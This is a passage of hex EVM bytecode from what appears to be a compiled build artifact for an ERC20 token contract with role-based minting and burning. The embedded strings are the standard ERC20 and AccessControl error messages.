565b600033905090565b8280546200025690620002f8565b90600052602060002090601f0160209004810192826200027a5760008555620002c6565b82601f106200029557805160ff1916838001178555620002c6565b82800160010185558215620002c6579182015b82811115620002c5578251825591602001919060010190620002a8565b5b509050620002d59190620002d9565b5090565b5b80821115620002f4576000816000905550600101620002da565b5090565b600060028204905060018216806200031157607f821691505b602082108114156200032857620003276200032e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b612614806200036d6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c806340c10f19116100b8578063a217fddf1161007c578063a217fddf1461039d578063a457c2d7146103bb578063a9059cbb146103eb578063d53913931461041b578063d547741f14610439578063dd62ed3e1461045557610142565b806340c10f19146102e757806370a082311461030357806391d148541461033357806395d89b41146103635780639dc29fac1461038157610142565b8063248a9ca31161010a578063248a9ca314610213578063282c51f3146102435780632f2ff15d14610261578063313ce5671461027d57806336568abe1461029b57806339509351146102b757610142565b806301ffc9a71461014757806306fdde0314610177578063095ea7b31461019557806318160ddd146101c557806323b872dd146101e3575b600080fd5b610161600480360381019061015c9190611adb565b610485565b60405161016e91906120e0565b60405180910390f35b61017f6104ff565b60405161018c9190612116565b60405180910390f35b6101af60048036038101906101aa9190611a3a565b610591565b6040516101bc91906120e0565b60405180910390f35b6101cd6105af565b6040516101da91906122b8565b60405180910390f35b6101fd60048036038101906101f891906119eb565b6105b9565b60405161020a91906120e0565b60405180910390f35b61022d60048036038101906102289190611a76565b6106b1565b60405161023a91906120fb565b60405180910390f35b61024b6106d1565b60405161025891906120fb565b60405180910390f35b61027b60048036038101906102769190611a9f565b6106f5565b005b61028561071e565b60405161029291906122d3565b60405180910390f35b6102b560048036038101906102b09190611a9f565b610727565b005b6102d160048036038101906102cc9190611a3a565b6107aa565b6040516102de91906120e0565b60405180910390f35b61030160048036038101906102fc9190611a3a565b610856565b005b61031d60048036038101906103189190611986565b610897565b60405161032a91906122b8565b60405180910390f35b61034d60048036038101906103489190611a9f565b6108df565b60405161035a91906120e0565b60405180910390f35b61036b61094a565b6040516103789190612116565b60405180910390f35b61039b60048036038101906103969190611a3a565b6109dc565b005b6103a5610a1d565b6040516103b291906120fb565b60405180910390f35b6103d560048036038101906103d09190611a3a565b610a24565b6040516103e291906120e0565b60405180910390f35b61040560048036038101906104009190611a3a565b610b0f565b60405161041291906120e0565b60405180910390f35b610423610b2d565b60405161043091906120fb565b60405180910390f35b610453600480360381019061044e9190611a9f565b610b51565b005b61046f600480360381019061046a91906119af565b610b7a565b60405161047c91906122b8565b60405180910390f35b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806104f857506104f782610c01565b5b9050919050565b60606003805461050e906124e1565b80601f016020809104026020016040519081016040528092919081815260200182805461053a906124e1565b80156105875780601f1061055c57610100808354040283529160200191610587565b820191906000526020600020905b81548152906001019060200180831161056a57829003601f168201915b5050505050905090565b60006105a561059e610c6b565b8484610c73565b6001905092915050565b6000600254905090565b60006105c6848484610e3e565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610611610c6b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610691576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610688906121d8565b60405180910390fd5b6106a58561069d610c6b565b858403610c73565b60019150509392505050565b600060056000838152602001908152602001600020600101549050919050565b7f3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a84881565b6106fe826106b1565b61070f8161070a610c6b565b6110b4565b6107198383611151565b505050565b60006012905090565b61072f610c6b565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461079c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079390612278565b60405180910390fd5b6107a68282611232565b5050565b600061084c6107b7610c6b565b8484600160006107c5610c6b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108479190612315565b610c73565b6001905092915050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a661088881610883610c6b565b6110b4565b6108928383611314565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b606060048054610959906124e1565b80601f0160208091040260200160405190810160405280929190818152602001828054610985906124e1565b80156109d25780601f106109a7576101008083540402835291602001916109d2565b820191906000526020600020905b8154815290600101906020018083116109b557829003601f168201915b5050505050905090565b7f3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a848610a0e81610a09610c6b565b6110b4565b610a188383611468565b505050565b6000801b81565b60008060016000610a33610c6b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610af0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae790612258565b60405180910390fd5b610b04610afb610c6b565b85858403610c73565b600191505092915050565b6000610b23610b1c610c6b565b8484610e3e565b6001905092915050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b610b5a826106b1565b610b6b81610b66610c6b565b6110b4565b610b758383611232565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cda90612238565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4a90612198565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e3191906122b8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea590612218565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1590612158565b60405180910390fd5b610f29838383611633565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610faf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa6906121b8565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110429190612315565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110a691906122b8565b60405180910390a350505050565b6110be82826108df565b61114d576110e38173ffffffffffffffffffffffffffffffffffffffff166014611638565b6110f18360001c6020611638565b6040516020016111029291906120a6565b6040516020818303038152906040526040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111449190612116565b60405180910390fd5b5050565b61115b82826108df565b61122e5760016005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506111d3610c6b565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b61123c82826108df565b156113105760006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506112b5610c6b565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b90612298565b60405180910390fd5b61139060008383611633565b80600260008282546113a29190612315565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113f79190612315565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161145c91906122b8565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cf906121f8565b60405180910390fd5b6114e482600083611633565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561156a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156190612178565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546115c191906123c5565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161162691906122b8565b60405180910390a3505050565b505050565b60606000600283600261164b919061236b565b6116559190612315565b67ffffffffffffffff811115611694577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156116c65781602001600182028036833780820191505090505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110611724577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f7800000000000000000000000000000000000000000000000000000000000000816001815181106117ae577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600060018460026117ee919061236b565b6117f89190612315565b90505b60018111156118e4577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110611860577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b82828151811061189d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c9450806118dd906124b7565b90506117fb565b5060008414611928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191f90612138565b60405180910390fd5b8091505092915050565b60008135905061194181612582565b92915050565b60008135905061195681612599565b92915050565b60008135905061196b816125b0565b92915050565b600081359050611980816125c7565b92915050565b60006020828403121561199857600080fd5b60006119a684828501611932565b91505092915050565b600080604083850312156119c257600080fd5b60006119d085828601611932565b92505060206119e185828601611932565b9150509250929050565b600080600060608486031215611a0057600080fd5b6000611a0e86828701611932565b9350506020611a1f86828701611932565b9250506040611a3086828701611971565b9150509250925092565b60008060408385031215611a4d57600080fd5b6000611a5b85828601611932565b9250506020611a6c85828601611971565b9150509250929050565b600060208284031215611a8857600080fd5b6000611a9684828501611947565b91505092915050565b60008060408385031215611ab257600080fd5b6000611ac085828601611947565b9250506020611ad185828601611932565b9150509250929050565b600060208284031215611aed57600080fd5b6000611afb8482850161195c565b91505092915050565b611b0d8161240b565b82525050565b611b1c81612417565b82525050565b6000611b2d826122ee565b611b3781856122f9565b9350611b47818560208601612484565b611b5081612571565b840191505092915050565b6000611b66826122ee565b611b70818561230a565b9350611b80818560208601612484565b80840191505092915050565b6000611b996020836122f9565b91507f537472696e67733a20686578206c656e67746820696e73756666696369656e746000830152602082019050919050565b6000611bd96023836122f9565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c3f6022836122f9565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611ca56022836122f9565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611d0b6026836122f9565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611d716028836122f9565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611dd76021836122f9565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611e3d6025836122f9565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611ea36024836122f9565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611f0960178361230a565b91507f416363657373436f6e74726f6c3a206163636f756e74200000000000000000006000830152601782019050919050565b6000611f496025836122f9565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611faf60118361230a565b91507f206973206d697373696e6720726f6c65200000000000000000000000000000006000830152601182019050919050565b6000611fef602f836122f9565b91507f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008301527f20726f6c657320666f722073656c6600000000000000000000000000000000006020830152604082019050919050565b6000612055601f836122f9565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6120918161246d565b82525050565b6120a081612477565b82525050565b60006120b182611efc565b91506120bd8285611b5b565b91506120c882611fa2565b91506120d48284611b5b565b91508190509392505050565b60006020820190506120f56000830184611b04565b92915050565b60006020820190506121106000830184611b13565b92915050565b600060208201905081810360008301526121308184611b22565b905092915050565b6000602082019050818103600083015261215181611b8c565b9050919050565b6000602082019050818103600083015261217181611bcc565b9050919050565b6000602082019050818103600083015261219181611c32565b9050919050565b600060208201905081810360008301526121b181611c98565b9050919050565b600060208201905081810360008301526121d181611cfe565b9050919050565b600060208201905081810360008301526121f181611d64565b9050919050565b6000602082019050818103600083015261221181611dca565b9050919050565b6000602082019050818103600083015261223181611e30565b9050919050565b6000602082019050818103600083015261225181611e96565b9050919050565b6000602082019050818103600083015261227181611f3c565b9050919050565b6000602082019050818103600083015261229181611fe2565b9050919050565b600060208201905081810360008301526122b181612048565b9050919050565b60006020820190506122cd6000830184612088565b92915050565b60006020820190506122e86000830184612097565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b60006123208261246d565b915061232b8361246d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156123605761235f612513565b5b828201905092915050565b60006123768261246d565b91506123818361246d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123ba576123b9612513565b5b828202905092915050565b60006123d08261246d565b91506123db8361246d565b9250828210156123ee576123ed612513565b5b828203905092915050565b60006124048261244d565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156124a2578082015181840152602081019050612487565b838111156124b1576000848401525b50505050565b60006124c28261246d565b915060008214156124d6576124d5612513565b5b600182039050919050565b600060028204905060018216806124f957607f821691505b6020821081141561250d5761250c612542565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61258b816123f9565b811461259657600080fd5b50565b6125a281612417565b81146125ad57600080fd5b50565b6125b981612421565b81146125c457600080fd5b50565b6125d08161246d565b81146125db57600080fd5b5056fea2646970667358221220b8c83209c32febaacd329195978ceeaf54149d895ada322dff0523471f61b4aa64736f6c63430008000033",
+  "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106101425760003560e01c806340c10f19116100b8578063a217fddf1161007c578063a217fddf1461039d578063a457c2d7146103bb578063a9059cbb146103eb578063d53913931461041b578063d547741f14610439578063dd62ed3e1461045557610142565b806340c10f19146102e757806370a082311461030357806391d148541461033357806395d89b41146103635780639dc29fac1461038157610142565b8063248a9ca31161010a578063248a9ca314610213578063282c51f3146102435780632f2ff15d14610261578063313ce5671461027d57806336568abe1461029b57806339509351146102b757610142565b806301ffc9a71461014757806306fdde0314610177578063095ea7b31461019557806318160ddd146101c557806323b872dd146101e3575b600080fd5b610161600480360381019061015c9190611adb565b610485565b60405161016e91906120e0565b60405180910390f35b61017f6104ff565b60405161018c9190612116565b60405180910390f35b6101af60048036038101906101aa9190611a3a565b610591565b6040516101bc91906120e0565b60405180910390f35b6101cd6105af565b6040516101da91906122b8565b60405180910390f35b6101fd60048036038101906101f891906119eb565b6105b9565b60405161020a91906120e0565b60405180910390f35b61022d60048036038101906102289190611a76565b6106b1565b60405161023a91906120fb565b60405180910390f35b61024b6106d1565b60405161025891906120fb565b60405180910390f35b61027b60048036038101906102769190611a9f565b6106f5565b005b61028561071e565b60405161029291906122d3565b60405180910390f35b6102b560048036038101906102b09190611a9f565b610727565b005b6102d160048036038101906102cc9190611a3a565b6107aa565b6040516102de91906120e0565b60405180910390f35b61030160048036038101906102fc9190611a3a565b610856565b005b61031d60048036038101906103189190611986565b610897565b60405161032a91906122b8565b60405180910390f35b61034d60048036038101906103489190611a9f565b6108df565b60405161035a91906120e0565b60405180910390f35b61036b61094a565b6040516103789190612116565b60405180910390f35b61039b60048036038101906103969190611a3a565b6109dc565b005b6103a5610a1d565b6040516103b291906120fb565b60405180910390f35b6103d560048036038101906103d09190611a3a565b610a24565b6040516103e291906120e0565b60405180910390f35b61040560048036038101906104009190611a3a565b610b0f565b60405161041291906120e0565b60405180910390f35b610423610b2d565b60405161043091906120fb565b60405180910390f35b610453600480360381019061044e9190611a9f565b610b51565b005b61046f600480360381019061046a91906119af565b610b7a565b60405161047c91906122b8565b60405180910390f35b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806104f857506104f782610c01565b5b9050919050565b60606003805461050e906124e1565b80601f016020809104026020016040519081016040528092919081815260200182805461053a906124e1565b80156105875780601f1061055c57610100808354040283529160200191610587565b820191906000526020600020905b81548152906001019060200180831161056a57829003601f168201915b5050505050905090565b60006105a561059e610c6b565b8484610c73565b6001905092915050565b6000600254905090565b60006105c6848484610e3e565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610611610c6b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610691576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610688906121d8565b60405180910390fd5b6106a58561069d610c6b565b858403610c73565b60019150509392505050565b600060056000838152602001908152602001600020600101549050919050565b7f3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a84881565b6106fe826106b1565b61070f8161070a610c6b565b6110b4565b6107198383611151565b505050565b60006012905090565b61072f610c6b565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461079c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079390612278565b60405180910390fd5b6107a68282611232565b5050565b600061084c6107b7610c6b565b8484600160006107c5610c6b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108479190612315565b610c73565b6001905092915050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a661088881610883610c6b565b6110b4565b6108928383611314565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b606060048054610959906124e1565b80601f0160208091040260200160405190810160405280929190818152602001828054610985906124e1565b80156109d25780601f106109a7576101008083540402835291602001916109d2565b820191906000526020600020905b8154815290600101906020018083116109b557829003601f168201915b5050505050905090565b7f3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a848610a0e81610a09610c6b565b6110b4565b610a188383611468565b505050565b6000801b81565b60008060016000610a33610c6b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610af0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae790612258565b60405180910390fd5b610b04610afb610c6b565b85858403610c73565b600191505092915050565b6000610b23610b1c610c6b565b8484610e3e565b6001905092915050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b610b5a826106b1565b610b6b81610b66610c6b565b6110b4565b610b758383611232565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cda90612238565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4a90612198565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e3191906122b8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea590612218565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1590612158565b60405180910390fd5b610f29838383611633565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610faf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa6906121b8565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110429190612315565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110a691906122b8565b60405180910390a350505050565b6110be82826108df565b61114d576110e38173ffffffffffffffffffffffffffffffffffffffff166014611638565b6110f18360001c6020611638565b6040516020016111029291906120a6565b6040516020818303038152906040526040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111449190612116565b60405180910390fd5b5050565b61115b82826108df565b61122e5760016005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506111d3610c6b565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b61123c82826108df565b156113105760006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506112b5610c6b565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b90612298565b60405180910390fd5b61139060008383611633565b80600260008282546113a29190612315565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113f79190612315565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161145c91906122b8565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cf906121f8565b60405180910390fd5b6114e482600083611633565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561156a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156190612178565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546115c191906123c5565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161162691906122b8565b60405180910390a3505050565b505050565b60606000600283600261164b919061236b565b6116559190612315565b67ffffffffffffffff811115611694577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156116c65781602001600182028036833780820191505090505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110611724577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f7800000000000000000000000000000000000000000000000000000000000000816001815181106117ae577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600060018460026117ee919061236b565b6117f89190612315565b90505b60018111156118e4577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110611860577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b82828151811061189d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c9450806118dd906124b7565b90506117fb565b5060008414611928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191f90612138565b60405180910390fd5b8091505092915050565b60008135905061194181612582565b92915050565b60008135905061195681612599565b92915050565b60008135905061196b816125b0565b92915050565b600081359050611980816125c7565b92915050565b60006020828403121561199857600080fd5b60006119a684828501611932565b91505092915050565b600080604083850312156119c257600080fd5b60006119d085828601611932565b92505060206119e185828601611932565b9150509250929050565b600080600060608486031215611a0057600080fd5b6000611a0e86828701611932565b9350506020611a1f86828701611932565b9250506040611a3086828701611971565b9150509250925092565b60008060408385031215611a4d57600080fd5b6000611a5b85828601611932565b9250506020611a6c85828601611971565b9150509250929050565b600060208284031215611a8857600080fd5b6000611a9684828501611947565b9150509